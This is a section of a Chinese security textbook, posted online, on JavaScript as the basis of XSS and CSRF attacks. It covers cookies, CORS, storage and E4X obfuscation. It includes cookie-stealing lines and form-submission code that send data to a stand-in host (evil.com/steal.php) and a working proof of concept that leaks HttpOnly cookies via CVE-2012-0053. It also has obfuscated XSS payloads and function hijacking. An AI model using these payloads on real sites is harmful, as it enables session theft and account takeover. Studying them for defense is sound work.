返回介绍

2.5 跨站之魂——JavaScript

发布于 2024-01-20 15:41:04 字数 22588 浏览 0 评论 0 收藏 0

在Web前端安全中,JavaScript控制了整个前端的逻辑,通过JavaScript可以完成许多操作。举个例子,用户在网站上都有哪些操作?首先提交内容,然后可以编辑与删除,那么这些JavaScript几乎都可以完成,为什么是“几乎”?因为碰到提交表单需要验证码的情况,JavaScript就不行了,虽然有HTML5的canvas来辅助,不过效果并不会好。

对跨站师来说,大多数情况下,有了XSS漏洞,就意味着可以注入任意的JavaScript,有了JavaScript,就意味着被攻击者的任何操作都可以模拟,任何隐私信息都可以获取到。可以说,JavaScript就是跨站之魂。

2.5.1 DOM树操作

在2.4.1节我们知道了DOM树,并且提到通过DOM操作能够获取到各种隐私信息。现在来看看都怎么获取。

1. 获取HTML内容中的隐私数据

比如,要获取的隐私数据是用户的私信内容,内容在DOM的位置如下:

<html>
<head>
  ….
</head>
<body>
  …
  <div id="private_msg">
     隐私数据在这……
  </div>

接收的参数就是标签名,返回一个数组,数组下标从0开始,于是第3个表示为[2]。

方法有很多,大家可以自己思考。

2. 获取浏览器的Cookies数据

Cookies中保存了用户的会话信息,通过doc-ument.cookie可以获取到,不过并不是所有的Cookies都可以获取,具体内容在2.5.4节详细介绍。

3. 获取URL地址中的数据

从window.location或location处可以获取URL地址中的数据。

除了获取数据,还有通过DOM操作生成新的DOM对象或移除DOM对象。这些都非常有用,在此推荐查阅《JavaScript DOM编程艺术》一书以了解更多的内容。

2.5.2 AJAX风险

AJAX简直就是前端黑客攻击中必用的技术模式,全称为Asynchronous JavaScript And XML,即异步的JavaScript与XML。这里有三个点:异步、JavaScript、XML。

异步和同步对应,异步可以理解为单独开启了一个线程,独立于浏览器主线程去做自己的事,这样浏览器就不会等待(阻塞),这个异步在后台悄悄进行,所以利用AJAX的攻击显得很诡异,无声无息。AJAX本身就是由JavaScript构成的,只是XML并不是必需的,XML在这里是想指数据传输格式是XML,比如,AJAX发出去的HTTP请求,响应回的数据是XML格式,然后JavaScript去解析这个XML DOM树得到相应节点的内容。其实响应回的数据格式还可以是JSON(已经是主流)、文本、HTML等。AJAX中特别提到XML是因为历史原因。

AJAX的核心对象是XMLHttpRequest(一般简称为xhr),不过IE 7之前的浏览器不支持xhr对象,而是通过ActiveXObject来实现的。看下面的xhr实例化:

var xmlhttp;
if(window.XMLHttpRequst){
  xmlhttp = new XMLHttpRequst(); // IE7+, Firefox, Chrome, Opera, Safari等
}
else{
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); // IE 6/IE 5浏览器的方式
}

实例化后就是设置好回调,然后发送HTTP请求需要的头部与参数键值,待响应成功后会触发该回调,回调函数就可以处理响应回来的数据了。这里需要注意,不是任何请求头都可以通过JavaScript进行设置的,否则前端的逻辑世界就乱了,W3C给出了一份头部黑名单:

Accept-Charset
Accept-Encoding
Access-Control-Request-Headers
Access-Control-Request-Method
Connection
Content-Length
Cookie
Cookie2
Content-Transfer-Encoding
Date
Expect
Host
Keep-Alive
Origin
Referer
TE
Trailer
Transfer-Encoding
Upgrade
User-Agent
Via
...

这个黑名单曾经是不完备的,也有一些技巧导致黑名单被绕过,导致可以任意提交Referer/User-Agent/Cookie等头部值,随着时间的推移,黑名单总是有自己的风险。

响应回的数据也包括头部与体部,通过getRe-sponseHeader函数可以获得指定的响应头,除了Set-Cookie/Set-Cookie2(其中可能就有设置了HttpOnly标志的Cookie,这是严禁客户端脚本读取的)等。更方便的是可以通过getAllResponse-Headers获取所有合法的响应头。

AJAX是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。不过有一种情况,可以发送数据到另一个域,W3C的新标准中,CORS(Cross-Origin Resource Sharing)开始推进浏览器支持这样的跨域方案,现在的浏览器都支持这个方案了,过程如下:

www.foo.com(来源域)的AJAX向www.evil.com(目标域)发起了请求,浏览器会给自动带上Origin头,如下:

Origin: http://www.foo.com

然后目标域要判断这个Origin值,如果是自己预期的,那么就返回:

Access-Control-Allow-Origin: http://www.foo.com

表示同意跨域。如果Access-Control-Allow-Origin之后是*通配符,则表示任意域都可以往目标跨。如果目标域不这样做,浏览器获得响应后没发现Access-Control-Allow-Origin头的存在,就会报类似下面这样的权限错误:

XMLHttpRequest cannot load 
http://www.evil.com. Origin http://www.foo.com
is not allowed by Access-Control-Allow-Origin.

IE下不使用XMLHttpRequest对象,而是自己的XDomainRequst对象,实例化后,使用方式与XMLHttpRequest基本一致。如下代码能让我们的CORS方案兼容:

<script>
function createCORSRequest(method, url){
  var xhr = new XMLHttpRequest();
  if ("withCredentials" in xhr){
    xhr.open(method, url, true);
  } 
  else if (typeof XDomainRequest != "undefined"){
    xhr = new XDomainRequest(); // IE浏览器
    xhr.open(method, url);
  } 
  else {
    xhr = null;
  }
  return xhr;
}
var request
  = createCORSRequest("get", "http://www.evil.com/steal.php?data=456");
if (request){
  request.onload = function(){ // 请求成功后
    alert(request.responseText); // 弹出响应的数据
  };
  request.send(); // 发送请求
}
</script>

上述代码存放在www.foo.com域上,跨域往目标域发起请求,目标域steal.php的代码如下:

<?php
header("Access-Control-Allow-Origin: http://www.foo.com");
//...
?>

注:根据上面这些简陋的代码,我们可以丰富一下,想想适合怎样的攻击场景?有一个实时远控的场景,我们可以将源头域上的隐私数据(每3秒)跨域提交到目标域上,并获取目标域响应的内容,这样的内容可以动态生成,也可以是JavaScript指令,然后在源头域上被eval等方式动态执行。更多的内容可查看第7章相关章节。

如果目标域不设置Access-Control-Allow-Origin: http://www.foo.com,那么隐私数据可以被偷到吗?答案是肯定的。虽然浏览器会报权限错

有了CORS机制,跨域就变得特别方便了,该功能要慎重使用,否则后果会很严重。

2.5.3 模拟用户发起浏览器请求

在浏览器中,用户发出的请求基本上都是HTTP协议里的GET与POST方式。对于GET方式,实际上就是一个URL,方式有很多,常见的如下:

// 新建一个img标签对象,对象的src属性指向目标
地址
new Image().src
  = "http://www.evil.com/steal.php" + escape(document.cookie);
// 在地址栏里打开目标地址
location.href 
  = "http://www.evil.com/steal.php"+escape(document.cookie);

这个原理是相通的,通过JavaScript动态创建iframe/frame/script/link等标签对象,然后将它们的src或href属性指向目标地址即可。

对于POST的请求,前面说的XMLHttpRe-quest对象就是一个非常方便的方式,可以模拟表单提交,它有异步与同步之分,差别在于XML-HttpRequst实例化的对象xhr的open方法的第三个参数,true表示异步,false表示同步,如果使用异步方式,就是AJAX。异步则表示请求发出去后,JavaScript可以去做其他事情,待响应回来后会自动触发xhr对象的onreadystatechange事件,可以监听这个事件以处理响应内容。同步则表示请求发出去后,JavaScript需要等待响应回来,这期间就进入阻塞阶段。如下是一段同步的示例:

xhr = function(){
  /*xhr对象*/
  var request = false;
  if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
  } 
  else if(window.ActiveXObject) {
    try {
      request 
      = new window.ActiveXObject('Microsoft.XMLHTTP');
    } 
    catch(e) {}
  }
  return request;
}();
request = function(method,src,argv,content_type){
  xhr.open(method,src,false); // 同步方式
  if(method=='POST')
    xhr.setRequestHeader('Content-Type',content_type);
  // 设置表单的Content-Type类型,常见的是application/x-www-form-urlencoded
  xhr.send(argv); // 发送POST数据
  return xhr.responseText; // 返回响应的内容
};
attack_a = function(){
  var src = http://www.evil.com/steal.php;
  var argv_0 = "&name1=value1&name2=value2";
  request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();

POST表单提交的Content-Type为applica-tion/x-www-form-urlencoded,它是一种默认的标准格式。还有一种比较常见:multipart/form-data。它一般出现在有文件上传的表单中,示例如下:

xhr = function(){
  /*省略xhr对象的创建*/
}();
request = function(method,src,argv,content_type){
  xhr.open(method,src,false);
  if(method=='POST')
    xhr.setRequestHeader('Content-Type',content_type);
  xhr.send(argv);
  return xhr.responseText;
}
attack_a = function(){
  var src = http://www.evil.com/steal.php;
  var name1 = "value1";
  var name2 = "value2";
  var argv_0 = "\r\n";
  argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data;name=\"name1\"\r\n\r\n";
  argv_0 += (name1+"\r\n");
  argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data; name=\"name2\"\r\n\r\n";
  argv_0 += (name2+"\r\n");
  argv_0 += "---------------------7964f8dddeb95fc5--\r\n";
  /*
    POST提交的参数是以-------------------7964f8dddeb95fc5分隔的
    下面设置表单提交的Content-Type与form-data
    分隔边界为:multipart/form-data;boundary=-------------------7964f8dddeb95fc5
  */
  request("POST",src,argv_0,"multipart/form-data;boundary=-------------------7964f8dddeb95fc5");
}
attack_a();

除了可以通过xhr对象模拟表单提交外,还有一种比较原始的方式:form表单自提交。原理是通过JavaScript动态创建一个form,并设置好form中的每个input键值,然后对form对象做sub-mit()操作即可,示例如下:

function new_form(){
  var f = document.createElement("form");
  document.body.appendChild(f);
  f.method = "post";
  return f;
}
function create_elements(eForm, eName, eValue){
  var e = document.createElement("input");
  eForm.appendChild(e);
  e.type = 'text';
  e.name = eName;
  if(!document.all){
    e.style.display ='none';
  }
  else{
    e.style.display = 'block';
    e.style.width = '0px';
    e.style.height = '0px';
  }
  e.value = eValue;
  return e;
}
var _f = new_form(); // 创建一个form对象
create_elements(_f, "name1", "value1"); // 创建form中的input对象
create_elements(_f, "name2", "value2");
_f.action= "http://www.evil.com/steal.php"; // form提交地址
_f.submit(); // 提交

我们介绍了好几种模拟用户发起浏览器请求的方法,其用处很大且使用很频繁。前端黑客攻击中,比如XSS经常需要发起各种请求(如盗取Cook-ies、蠕虫攻击等),上面的几种方式都是XSS攻击常用的,而最后一个表单自提交方式经常用于CSRF攻击中。

2.5.4 Cookie安全

Cookie是一个神奇的机制,同域内浏览器中发出的任何一个请求都会带上Cookie,无论请求什么资源,请求时,Cookie出现在请求头的Cookie字段中。服务端响应头的Set-Cookie字段可以添加、修改和删除Cookie,大多数情况下,客户端通过JavaScript也可以添加、修改和删除Cookie。

由于这样的机制,Cookie经常被用来存储用户的会话信息,比如,用户登录认证后的Session,之后同域内发出的请求都会带上认证后的会话信息,非常方便。所以,攻击者就特别喜欢盗取Cookie,这相当于盗取了在目标网站上的用户权限。

Cookie的重要字段如下:

[name][value][domain][path][expires][httponly][secure]

其含义依次是:名称、值、所属域名、所属相对根路径、过期时间、是否有HttpOnly标志、是否有Secure标志。这些字段用好了,Cookie就是安全的,下面对关键的字段进行说明。

1. 子域Cookie机制

这是domain字段的机制,设置Cookie时,如果不指定domain的值,默认就是本域。例如,a.foo.com域通过JavaScript来设置一个Cookie,语句如下:

document.cookie="test=1";

那么,domain值默认为a.foo.com。有趣的是,a.foo.com域设置Cookie时,可以指定domain为父级域,比如:

document.cookie="test=1;domain=foo.com";

此时,domain就变为foo.com,这样带来的好处就是可以在不同的子域共享Cookie,坏处也很明显,就是攻击者控制的其他子域也能读到这个Cookie。另外,这个机制不允许设置Cookie的domain为下一级子域或其他外域。

2. 路径Cookie机制

这是path字段的机制,设置Cookie时,如果不指定path的值,默认就是目标页面的路径。例如,a.foo.com/admin/index.php页面通过JavaScript来设置一个Cookie,语句如下:

document.cookie="test=1";

path值就是/admin/。通过指定path字段,JavaScript有权限设置任意Cookie到任意路径下,但是只有目标路径下的页面JavaScript才能读取到该Cookie。那么有什么办法跨路径读取Cookie?比如,/evil/路径想读取/admin/路径的Cookie。很简单,通过跨iframe进行DOM操作即可,/evil/路径下页面的代码如下:

xc = function(src){
    var o = document.createElement("iframe"); // iframe进入同域的目标页面
    o.src = src;
    document.getElementsByTagName("body")[0].appendChild(o);
    o.onload = function(){ 
      // iframe加载完成后
      d = o.contentDocument || o.contentWindow.document;
      // 获取document对象
      alert(d.cookie); // 获取cookie
    };
}('http://a.foo.com/admin/index.php');

所以,通过设置path不能防止重要的Cookie被盗取。

3. HttpOnly Cookie机制

顾名思义,HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效地防御XSS攻击获取Cookie。以PHP setcookie为例,httponly.php文件代码如下:

<?php
  setcookie("test", 1, time()+3600, "", "", 0); // 设置普通Cookie
  setcookie("test_http", 1, time()+3600, "", "", 0, 1);
  // 第7个参数(这里的最后一个)是HttpOnly标志,0为关闭,1为开启,默认为0
?>

请求这个文件后,设置了两个Cookie,如图2-2所示。

图2-2 设置的Cookie值

其中,test_http是HttpOnly Cookie。有什么办法能获取到HttpOnly Cookie?如果服务端响应的页面有Cookie调试信息,很可能就会导致HttpOnly Cookie的泄漏。比如,以下信息。(1)PHP的phpinfo()信息,如图2-3所示。

图2-3 phpinfo()信息

(2)Django应用的调试信息,如图2-4所示。

图2-4 Django调试信息

(3)CVE-2012-0053关于Apache Http Server400错误暴露HttpOnly Cookie,描述如下:

Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回400(Bad Request)错误,并在返回信息中将出错的请求头内容输出(包含请求头里的HttpOnlyCookie),攻击者可以利用这个缺陷获取HttpOnlyCookie。

可以通过技巧让Apache报400错误,例如,如下POC(Proof of Concept,为观点提供证据):

<script>
/* 
  POC来自:https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
  大多数浏览器限制Cookies最大为4kB,我们设置为更大,让请求头长度超过Apache的Lim-itRequestFieldSize,从而引发400错误。
*/
function setCookies (good) {
  var str = "";
  for (var i=0; i< 819; i++) {
    str += "x";
  }
  for (i = 0; i < 10; i++) {
    if (good) { // 清空垃圾Cookies
      var cookie = "xss" + i + "=;expires=" + 
             new Date(+new Date()-1).toUTCString() + 
             "; path=/;";
    }
    // 添加垃圾Cookies
    else {
      var cookie = "xss"+i+"="+str+";path=/";
    }
    document.cookie = cookie;
  }
}
function makeRequest() {
  setCookies(); // 添加垃圾Cookies
  function parseCookies () {
    var cookie_dict = {};
    // 仅当处于400状态时
    if (xhr.readyState === 4 && xhr.status === 400) {
      // 替换掉回车换行字符,然后匹配出<pre></pre>代码段里的内容
      var content = xhr.responseText
               .replace(/\r|\n/g,'')
               .match(/<pre>(.+)<\/pre>/);
      if (content.length) {
        // 替换“Cookie: ”前缀
        content = content[1].replace("Cookie: ", "");
        var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g)
        for (var i=0; i<cookies.length; i++) {
          var s_c = cookies[i].split('=',2);
          cookie_dict[s_c[0]] = s_c[1];
        }
      }
      setCookies(true); // 清空垃圾Cookies
      alert(JSON.stringify(cookie_dict)); // 得到HttpOnly Cookie
    }
  }
  // 针对目标页面发出xhr请求,请求会带上垃圾Cookies
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = parseCookies;
  xhr.open("GET", "httponly.php", true);
  xhr.send(null);
}
makeRequest();
</script>
apache 400 httponly cookie poc

请求这个POC时,发出的请求头信息如图2-5所示。

图2-5 POC发出的请求头信息

此时,httponly.php(其代码在前面已给出)会出现400错误,导致HttpOnly Cookie泄漏,如图2-6所示。

图2-6 Apache 400错误报出的HttpOnly Cookie

上面的几个例子中,服务端响应泄漏了HttpOnly Cookie应该算是一种漏洞,需谨慎对待,否则XSS会轻易获取到同域内的HttpOnlyCookie。

4. Secure Cookie机制

Secure Cookie机制指的是设置了Secure标志的Cookie仅在HTTPS层面上安全传输,如果请求是HTTP的,就不会带上这个Cookie,这样能降低重要的Cookie被中间人截获的风险。

不过有个有意思的点,Secure Cookie对于客户端脚本来说是可读写的。可读意味着Secure Cookie能被盗取,可写意味着能被篡改。如下的JavaScript代码可对已知的Secure Cookie进行篡改:

// path与domain必须一致,否则会被认为是不同的Cookie
document.cookie="test_secure=hijack;path=/;secure;"

5. 本地Cookie与内存Cookie

理解这个很简单,它与过期时间(Cookie的expires字段)紧密相关。如果没设置过期时间,就是内存Cookie,这样的Cookie会随着浏览器的关闭而从内存中消失;如果设置了过期时间是未来的某个时间点,那么这样的Cookie就会以文本形式保存在操作系统本地,待过期时间到了才会消失。示例(GMT时间,2112年1月1日才会过期)如下:

document.cookie="test_expires=1; expires=Mon, 01 Jan 2112 00:00:00 GMT;"

很多网站为了提升用户体验,不需要每次都登录,于是采用本地Cookie的方式让用户在未来1个月、半年、永久等时间段内都不需要进行登录操作。通常,用户体验与风险总是矛盾的,体验好了,风险可能也变大了,比如,攻击者通过XSS得到这样的本地Cookie后,就能够在未来很长一段时间内,甚至是永久控制着目标用户的账号权限。

这里并不是说内存Cookie就更安全,实际上,攻击者可以给内存Cookie加一个过期时间,使其变为本地Cookie。用户账户是否安全与服务端校验有关,包括重要Cookie的唯一性(是否可预测)、完整性(是否被篡改了)、过期等校验。

6. Cookie的P3P性质

HTTP响应头的P3P(Platform for PrivacyPreferences Project)字段是W3C公布的一项隐私保护推荐标准。该字段用于标识是否允许目标网站的Cookie被另一个域通过加载目标网站而设置或发送,仅IE执行了该策略。

比如,evil域通过script或iframe等方式加载foo域(此时foo域被称为第三方域)。加载的时候,浏览器是否会允许foo域设置自己的Cookie,或是否允许发送请求到foo域时,带上foo域已有的Cookie。我们有必要区分设置与发送两个场景,因为P3P策略在这两个场景下是有差异的。

(1)设置Cookie。

Cookie包括本地Cookie与内存Cookie。在IE下默认都是不允许第三方域设置的,除非foo域在响应的时候带上P3P字段,如:

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS 
UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

该字段的内容本身意义不大,不需要记,只要知道这样设置后,被加载的目标域的Cookie就可以被正常设置了。设置后的Cookie在IE下会自动带上P3P属性(这个属性在Cookie中是看不到的),一次生效,即使之后没有P3P头,也有效。(2)发送Cookie

发送的Cookie如果是内存Cookie,则无所谓是否有P3P属性,就可以正常发送;如果是本地Cookie,则这个本地Cookie必须拥有P3P属性,否则,即使目标域响应了P3P头也没用。

要测试以上结论,可以采用如下方法。(1)给hosts文件添加www.foo.com与www.evil.com域。

(2)将如下代码保存为foo.php,并保证能通过www.foo.com/cookie/foo.php访问到。

<?php
//header('P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"');
setcookie("test0", 'local', 
time()+3600*3650);
setcookie("test_mem0", 'memory');
var_dump($_COOKIE);
?>

(3)将如下代码保存为evil.php,并保证能通过www.evil.com/cookie/evil.php访问到。

<iframe src="http://www.foo.com/cookie/
foo.php"></iframe>

(4)IE浏览器访问www.evil.com/cookie/evil.php,通过fiddler等浏览器代理工具可以看到foo.php尝试设置Cookie,当然由于没响应P3P头,所以不会设置成功。

(5)将foo.php的P3P响应功能的注释去掉,再访问www.evil.com/cookie/evil.php,可以发现本地Cookie(test0)与内存Cookie(test_mem0)都已设置成功。

(6)修改foo.php里的Cookie名,比如,test0改为test1,test_mem0改为test_mem1等,注释P3P响应功能,然后直接访问www.foo.com/cookie/foo.php,这时会设置本地Cookie(test1)与内存Cookie(test_mem1),此时这两个Cookie都不带P3P属性。

(7)再通过访问www.evil.com/cookie/evil.php,可以发现内存Cookie(test_mem1)正常发送,而本地Cookie(test1)没有发送。

(8)继续修改foo.php里的Cookie名,test1改为test2,test_mem1改为test_mem2,去掉P3P响应功能的注释,然后直接访问www.foo.com/cookie/foo.php,此时本地Cookie(test2)与内存Cookie(test_mem2)都有了P3P属性。

(9)这时访问www.evil.com/cookie/evil.php,可以发现test2与test_mem2都发送出去了。

这些细节对我们进行安全研究非常关键,比如,在CSRF攻击的时候,如果iframe第三方域需要Cookie认证,这些细节对我们判断成功与否非常有用。

2.5.5 本地存储风险

浏览器的本地存储方式有很多种,常见的如表2-1所示。

表2-1 本地存储描述

本地存储的主要风险是被植入广告跟踪标志,有的想删都不一定能删除干净。比如,广为人知的evercookie,不仅利用了如上各种存储,还使用了以下存储。

· Silverlight的IsolatedStorage,类似FlashCookie。

· PNG Cache,将Cookie转换成RGB值描述形式,以PNG Cache方式强制缓存着,读入则以HTML5的canvas对象读取并还原为原来的Cookie值。

· 类似PNG Cache机制的还有HTTP Etags、Web Cache,这三种本质上都是利用了浏览器缓存机制:浏览器会优先从本地读取缓存的内容。

· Web History,利用的是“CSS判断目标URL是否访问过”技巧,属于一种过时的技巧。

· window.name,本质就是一个DOM存储,并不存在本地。

evercookie使用了10多种存储方式,互相配合,如果哪个存储被删除,再次请求evercookie页面时,被删除的值会被恢复。这就是evercookie的目的:永久性Cookie。

以下重点介绍Cookie、userData、localStor-age、Flash Cookie,看看它们的存储特性。

1. Cookie

大多数浏览器限制每个域能有50个Cookie。不同的浏览器能存储的Cookies是有差异的,其最大值约为4KB,若超过这个值,浏览器就会删除一些Cookie,这个删除策略也是不太一样的。关于这些差异,有兴趣的读者可以自己去研究。

Cookie的很多操作在上一节已经提过,在此特别提醒一下,删除Cookie时,仅需设置过期值为过去的时间即可。Cookie无法跨浏览器存在。

2. userData

微软在IE 5.0以后,自定义了一种持久化用户数据的概念userData,用户数据的每个域最大为64KB。这种存储方式只有IE浏览器自己支持,下面看看如何操作。

<div id="x"></div>
<script>
function set_ud(key,value) {
  var a = document.getElementById('x'); // x为任意div的id值
  a.addBehavior("#default#userdata");
  a.setAttribute(key,value);
  a.save("db");
}
function get_ud(key) {
  var a = document.getElementById('x');
  a.addBehavior("#default#userdata");
  a.load("db");
  alert(a.getAttribute(key));
}
function del_ud(key) {
  var a = document.getElementById('x');
  a.addBehavior("#default#userdata");  a.setAttribute(key, ""); // 设置为空值即可
  a.save("db");
}
window.onload = function(){
set_ud('a','xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); // 设置
get_ud('a'); // 获取a的值
del_ud('a'); // 删除a的值
get_ud('a'); // 获取a的值
};
</script>

3. localStorage

HTML5的本地存储localStorage是大势所趋,如果仅存储在内存中,则是sessionStorage。它们的语法都一样,仅仅是一个存储在本地文件系统中,另一个存储在内存中(随着浏览器的关闭而消失),其语句如下:

localStorage.setItem("a", "xxxxxxxxxxxxxxx"); // 设置
localStorage.getItem("a"); // 获取a的值
localStorage.removeItem("a"); // 删除a的值

注意,localStorage无法跨浏览器存在。

如表2-2所示的5大浏览器现在都支持以lo-calStorage方式进行存储,其中,Chrome、Opera、Safari这3款浏览器中都有查看本地存储的功能模块。但是不同的浏览器对localStorage存储方式还是略有不同的。表2-2是5大浏览器localStorage的存储方式。

表2-2 5大浏览器localStorage存储方式

通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均采用明文存储数据。

另一方面,在数据存储的时效性上,localStor-age并不会像Cookie那样可以设置数据存活的时限。也就是说,只要用户不主动删除,localStorage存储的数据将会永久存在。

根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,哪怕这些信息进行过加密。

另外,对身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。通过前面的知识可以知道,后来为了防止通过XSS获取Cookie数据,浏览器支持使用HttpOnly来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何防御机制,一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。

4. Flash Cookie

Flash是跨浏览器的通用解决方案,FlashCookie的默认存储数据大小是100KB。关于Flash的相关知识,将在2.7节详细介绍,下面看看如何使用ActionScript脚本操作Flash Cookie。

function set_lso(k:String="default", 
v:String=""):void
{ 
  // 设置值
  var shared:SharedObject = SharedObject.getLocal("db");
  shared.data[k] = v;
  shared.flush();
}
function get_lso(k:String="default"):String
{ 
  // 获取值
  var str:String = "";
  var shared:SharedObject = SharedObject.getLocal("db");
  str = shared.data[k];
  return str;
}
function clear_lso():void
{ 
  // 清空值
  var shared:SharedObject = SharedObject.getLocal("db");
  shared.clear();
}

2.5.6 E4X带来的混乱世界

E4X是ECMAScript For XML的缩写。本书的两大脚本JavaScript和ActionScript都遵循EC-MAScript标准,所以在E4X的语法上是一致的。对于JavaScript来说,当前只有Firefox支持E4X,这种技术是将XML作为JavaScript的对象,直接通过如下形式声明:

<script>
foo=<foo><id name="thx">x</id></foo>; // 注
意,没有引号包围
alert(foo.id); // 弹出XML的id标签节点的值:x
</script>

通过使用E4X技术,可以混淆JavaScript代码,甚至绕开一些过滤规则。下面进一步了解E4X的使用,从上面的样例中如何得到name的值?可以这样:

alert(foo.id.@name); // 访问属性节点用@符号,

id字符串可以省略,直接下面这样:

alert(foo..@name);

更进一步:

alert(<foo>hi</foo>); //弹出hi,继续缩短代
码?像下面这样:
alert(<>hi</>) //也弹出hi,注意,没引号

于是我们可以考虑将脚本放到XML数据中,比如,x=<>alert('hello')</>(将整个XML数据赋值给x),然后获取这个XML数据,并将eval显示出来:eval(x+[]),注意,[]不可少。

这些测试都是在脚本内操作XML数据的。那么在这个“内嵌”的XML数据里如何执行脚本表达式呢?比如:x=<>alert('hello')</>是无法自执行的,改为:x=<>{alert('hello')}</>就行了,即加个花括弧,表示里面是要执行的脚本。

通过上面这些技巧,可以很好地理解如下混淆的代码:

· Function(<text>\u0061{new String}lert(0)</text>)()

· Function(<text>aler{[]}t('cool')</text>)()

· Function(<text><x y="a"></x><x y="lert"></x><x y="(123)"></x></text>..@y)()

· location=XML(<x>java{[]}script:ale{[]}rt(/I am e4x/.source)</x>)

· location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text>

· eval(<>alert(1)</>+[])

针对上面6个混淆样例,说明如下:

· 样例①与样例②中,花括弧{}内执行的是脚本表达式,new String返回空,[]也返回空,那么alert就是一个完整的,并且可以对其进行编码:十六进制、十进制等。Function本身返回一个函数对象,最后的括弧执行获取到的文本节点内容alert(0),并弹出。

· 样例③比较有意思,@y依次访问XML数据中的y属性节点:a→lert→(123),并弹出。

· 样例④~样例⑥的理解就很简单了,大家自己理解吧。

本节的知识点最早由Gareth Heyes提出,大家如果想了解更多的知识,可以参考他的文章(http://www.thespanner.co.uk/?s=e4x)。

2.5.7 JavaScript函数劫持

JavaScript函数劫持很简单,一般情况下,只要在目标函数触发之前,重写这个函数即可,比如,劫持eval函数的语句如下:

var _eval=eval;
eval = function(x){
  if(typeof(x)=='undefined'){return;}
  alert(x); // 这之前可以写任意代码
  _eval(x);
};
eval('alert(1)');//这时的eval会先弹出它的参数值,然后才是动态执行参数值
eval('alert(1)');//这时的eval会先弹出它的参数值,然后才是动态执行参数值

曾经的浏览器劫持document.write、docu-ment.writeln也同样是这样的方式,不过在IE 9及Firefox、Chrome等新一代浏览器下,这个方式需要做改变,如下:

var _write = document.write.bind(document);
// 注意到 bind 方法,可以将目标绑定到 document 对象上,这样_write 执行时就不会报
// 否则会因为默认在window对象下寻找write方法而导致报错,因为该方法不存在
document.write = function(x){
  if(typeof(x)=='undefined'){return;}
  // 这可以写任意代码
  _write(x);
};
// 除了bind技巧外,还可以这样:
var _write = document.write;
document.write = function(x){
  if(typeof(x)=='undefined')
    return;
  // 这可以写任意代码
  _write.call(document,x); // call方法,第一个参数表明要绑定到的对象
};
document.write("<script>alert(1)</script>"); // 这样就劫持住了

函数劫持有什么用?

我们知道,在一定程度上是可以自动化分析DOM XSS的,可以动态解密一些混淆的代码(如:网马),JSON HiJacking使用的就是这样的技巧。

关于JavaScript函数劫持更多的知识,可以查看2007年luoluo的文章《浅谈javascript函数劫持》(http://www.xfocus.net/articles/200712/963.html)。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文